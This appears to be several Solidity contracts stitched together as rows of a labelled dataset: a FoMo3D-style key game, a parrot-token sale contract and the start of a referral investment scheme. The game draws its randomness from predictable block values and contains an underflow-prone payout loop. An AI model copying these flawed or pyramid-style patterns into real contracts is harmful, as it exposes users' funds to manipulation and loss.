isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
if (_eth > 0) {
core(_rID, _pID, _eth, _affID);
}
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
round_[_rID].ended = true;
endRound();
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused_1
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound();
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
}
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
airDropTracker_ = 0;
airDropCount_++;
airDropWinners_[airDropCount_][_pID] = _prize;
}
}
leekStealGo();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_;
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _genVault = plyr_[_pID].gen;
uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit)
{
uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw);
plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].maskKey = 0;
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333;
_incrRate = 50000000;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000;
_incrRate = 50000000;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000;
_incrRate = 50000000;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500;
_incrRate = 26666666;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000;
_incrRate = 17777777;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500;
_incrRate = 10666666;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000;
_incrRate = 5688282;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250;
_incrRate = 2709292;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62;
_incrRate = 1161035;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14;
_incrRate = 451467;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2;
_incrRate = 144487;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0;
_incrRate = 40128;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu);
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu);
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID;
}
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu);
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask);
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused_2
returns (bool)
{
require(_to != address(0));
if (_guAmt > 0) {
uint256 _pIDFrom = pIDxAddr_[msg.sender];
uint256 _pIDTo = pIDxAddr_[_to];
require(plyr_[_pIDFrom].addr == msg.sender);
require(plyr_[_pIDTo].addr == _to);
uint256 _profit = (allMaskGu_.mul(_guAmt)/1e18).sub( (plyr_[_pIDFrom].maskGu.mul(_guAmt) / plyr_[_pIDFrom].gu) );
plyr_[_pIDFrom].genGu = _profit.add(plyr_[_pIDFrom].genGu);
plyr_[_pIDFrom].guProfit = _profit.add(plyr_[_pIDFrom].guProfit);
plyr_[_pIDFrom].maskGu = plyr_[_pIDFrom].maskGu.sub( (allMaskGu_.mul(_guAmt)/1e18).sub(_profit) );
plyr_[_pIDTo].maskGu = (allMaskGu_.mul(_guAmt)/1e18).add(plyr_[_pIDTo].maskGu);
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
else
return false;
}
function updateGuPhrase()
private
returns (uint256)
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
pay500Winners(_pot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit);
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
plyr_[_pID].guProfit = _earnings.add(plyr_[_pID].guProfit);
}
}
function updateReferralGu(uint256 _pID)
private
{
uint256 _phID = phID_;
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
if (_phID > _lastClaimedPhID)
{
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com);
address(WALLET_ETH_COM2).transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff);
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff);
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
uint256 _gen = (_eth.mul(40)) / 100;
uint256 _jcg = (_eth.mul(20)) / 100;
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
_eth = _eth.sub(((_eth.mul(20)) / 100));
uint256 _pot = _eth.sub(_gen).sub(_jcg);
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused_3
private
returns(uint256)
{
uint256 _rID = plyr_[_pID].lrnd;
updateGenGuVault(_pID);
updateReferralGu(_pID);
checkDoubledProfit(_pID, _rID);
updateGenVault(_pID, _rID);
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
if (isWithdraw) {
plyrRnds_[_pID][_rID].winWithdraw = plyr_[_pID].win.add(plyrRnds_[_pID][_rID].winWithdraw);
plyrRnds_[_pID][_rID].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][_rID].genWithdraw);
plyrRnds_[_pID][_rID].genGuWithdraw = plyr_[_pID].genGu.add(plyrRnds_[_pID][_rID].genGuWithdraw);
plyrRnds_[_pID][_rID].affWithdraw = plyr_[_pID].aff.add(plyrRnds_[_pID][_rID].affWithdraw);
plyrRnds_[_pID][_rID].refundWithdraw = plyr_[_pID].refund.add(plyrRnds_[_pID][_rID].refundWithdraw);
plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
round_[_rID].withdraw = _earnings.add(round_[_rID].withdraw);
}
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
require(activated_ == false);
activated_ = true;
contractStartDate_ = now;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function leekStealGo()
private
{
uint leekStealToday_ = (now.sub(round_[rID_].strt)) / 1 days;
if (dayStealTime_[leekStealToday_] == 0)
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek()
whenNotPaused_4
public
{
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300)
{
leekStealOn_ = false;
} else {
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
leekStealWins_[_pID] = leekStealWins_[_pID].add(1e18);
}
}
}
}
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getDisplayGenVault(uint256 _pID)
private
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _lrnd = plyr_[_pID].lrnd;
uint256 _genVault = plyr_[_pID].gen;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, _lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
uint256 _displayGenVault = _genVault.add(_genEarning);
if (_genVault.add(_genEarning) > _doubleProfit)
_displayGenVault = _doubleProfit;
return _displayGenVault;
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
uint256 _winVault;
if (round_[_rID].plyr == _pID)
{
_winVault = (plyr_[_pID].win).add( ((round_[_rID].pot).mul(40)) / 100 );
} else {
_winVault = plyr_[_pID].win;
}
return
(
_winVault,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
} else {
return
(
plyr_[_pID].win,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].allkeys,
round_[_rID].keys,
allGuGiven_,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
round_[_rID].eth,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getCurrentPhraseInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 _phID = phID_;
return
(
_phID,
phrase_[_phID].eth,
phrase_[_phID].guGiven,
phrase_[_phID].minEthRequired,
phrase_[_phID].guPoolAllocation
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].gu,
plyr_[_pID].laff,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyrPhas_[_pID][_phID].eth,
plyr_[_pID].referEth,
plyr_[_pID].withdraw
);
}
function getPlayerWithdrawal(uint256 _pID, uint256 _rID)
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
return
(
plyrRnds_[_pID][_rID].winWithdraw,
plyrRnds_[_pID][_rID].genWithdraw,
plyrRnds_[_pID][_rID].genGuWithdraw,
plyrRnds_[_pID][_rID].affWithdraw,
plyrRnds_[_pID][_rID].refundWithdraw
);
}
}
library Datasets {
struct Player {
address addr;
uint256 win;
uint256 gen;
uint256 genGu;
uint256 aff;
uint256 refund;
uint256 lrnd;
uint256 laff;
uint256 withdraw;
uint256 maskGu;
uint256 gu;
uint256 guProfit;
uint256 referEth;
uint256 lastClaimedPhID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 keyProfit;
uint256 maskKey;
uint256 winWithdraw;
uint256 genWithdraw;
uint256 genGuWithdraw;
uint256 affWithdraw;
uint256 refundWithdraw;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 allkeys;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 maskKey;
uint256 playCtr;
uint256 withdraw;
}
struct PlayerPhrases {
uint256 eth;
uint256 guRewarded;
}
struct Phrase {
uint256 eth;
uint256 guGiven;
uint256 mask;
uint256 minEthRequired;
uint256 guPoolAllocation;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,341 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
address public cfoAddress;
constructor() public{
owner = msg.sender;
cfoAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function setCFO(address newCFO) external onlyOwner {
require(newCFO != address(0));
cfoAddress = newCFO;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ParentInterface {
function transfer(address _to, uint256 _tokenId) external;
function recommendedPrice(uint16 quality) public pure returns(uint256 price);
function getPet(uint256 _id) external view returns (uint64 birthTime, uint256 genes,uint64 breedTimeout,uint16 quality,address owner);
}
contract AccessControl is Pausable {
ParentInterface public parent;
function setParentAddress(address _address) public whenPaused onlyOwner
{
ParentInterface candidateContract = ParentInterface(_address);
parent = candidateContract;
}
}
contract Discount is AccessControl {
uint128[101] public discount;
function setPrice(uint8 _tokenId, uint128 _price) external onlyOwner {
discount[_tokenId] = _price;
}
}
contract Sales is Discount {
constructor(address _address) public {
ParentInterface candidateContract = ParentInterface(_address);
parent = candidateContract;
paused = true;
}
function purchaseParrot(uint256 _tokenId) external payable whenNotPaused
{
uint64 birthTime; uint256 genes; uint64 breedTimeout; uint16 quality; address parrot_owner;
(birthTime, genes, breedTimeout, quality, parrot_owner) = parent.getPet(_tokenId);
require(parrot_owner == address(this));
if(discount[_tokenId] == 0)
require(parent.recommendedPrice(quality) <= msg.value);
else
require(discount[_tokenId] <= msg.value);
parent.transfer(msg.sender, _tokenId);
}
function gift(uint256 _tokenId, address to) external onlyOwner{
parent.transfer(to, _tokenId);
}
function withdrawBalance(uint256 summ) external onlyCFO {
cfoAddress.transfer(summ);
}
} | 1 | 3,175 |
pragma solidity ^0.4.24;
contract MainContract {
address owner;
address advertisingAddress;
uint private constant minInvest = 5 finney;
using Calc for uint;
using PercentCalc for PercentCalc.percent;
using Zero for *;
using compileLibrary for *;
struct User {
uint idx;
uint value;
uint bonus;
bool invested10Eth;
uint payTime;
}
mapping(address => User) investorsStorage;
address[] users;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
event logsDataPayable(uint value, uint time, address indexed addr);
event logsDataConstructor(address creater, uint when, string text);
event newInvestor(address indexed addr, uint when, uint value);
event investToProject(address creater, uint when, string text);
event logPayDividends(uint value, uint when, address indexed addr, string text);
event logPayBonus(uint value, uint when, address indexed addr, string text);
event notEnoughETH(uint when, string text);
constructor() public {
owner = msg.sender;
users.length++;
emit logsDataConstructor(msg.sender, now, "constructor");
}
PercentCalc.percent private dividendPercent = PercentCalc.percent(3);
PercentCalc.percent private refPercent = PercentCalc.percent(2);
PercentCalc.percent private advertisingPercent = PercentCalc.percent(8);
PercentCalc.percent private ownerPercent = PercentCalc.percent(5);
PercentCalc.percent private dividendPercentBonus = PercentCalc.percent(4);
